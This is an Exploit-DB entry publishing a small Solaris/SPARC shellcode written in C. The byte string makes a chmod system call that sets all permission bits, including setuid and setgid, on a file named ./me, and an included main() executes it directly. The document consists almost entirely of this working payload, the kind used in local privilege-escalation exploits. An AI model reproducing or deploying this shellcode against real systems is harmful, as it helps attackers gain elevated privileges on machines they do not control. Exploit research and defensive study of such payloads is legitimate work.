Solaris/SPARC - chmod(./me) Shellcode

EDB-ID:

50749

Size:

0 bytes


Platform:

Solaris_SPARC

Published:

2022-02-18

/*
 * sparc_solaris_chmod2.c - Solaris/SPARC chmod() shellcode
 * Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Very small Solaris/SPARC chmod shellcode. See also:
 * http://phrack.org/issues/70/13.html#article
 *
 * Tested on:
 * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
 */

char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */

/* chmod("./me", 037777777777) */
"\x92\x20\x20\x01"	/* sub  %g0, 1, %o1		*/
"\x20\xbf\xff\xff"	/* bn,a <sc>			*/
"\x20\xbf\xff\xff"	/* bn,a <sc + 4>		*/
"\x7f\xff\xff\xff"	/* call <sc + 8>		*/
"\x90\x03\xe0\x14"	/* add  %o7, 0x14, %o0		*/
"\xc0\x22\x20\x04"	/* clr  [ %o0 + 4 ]		*/
"\x82\x10\x20\x0f"	/* mov  0xf, %g1		*/
"\x91\xd0\x20\x08"	/* ta   8			*/
"./me";

void main()
{
	void (*f)() = (void *)sc;
	f();
}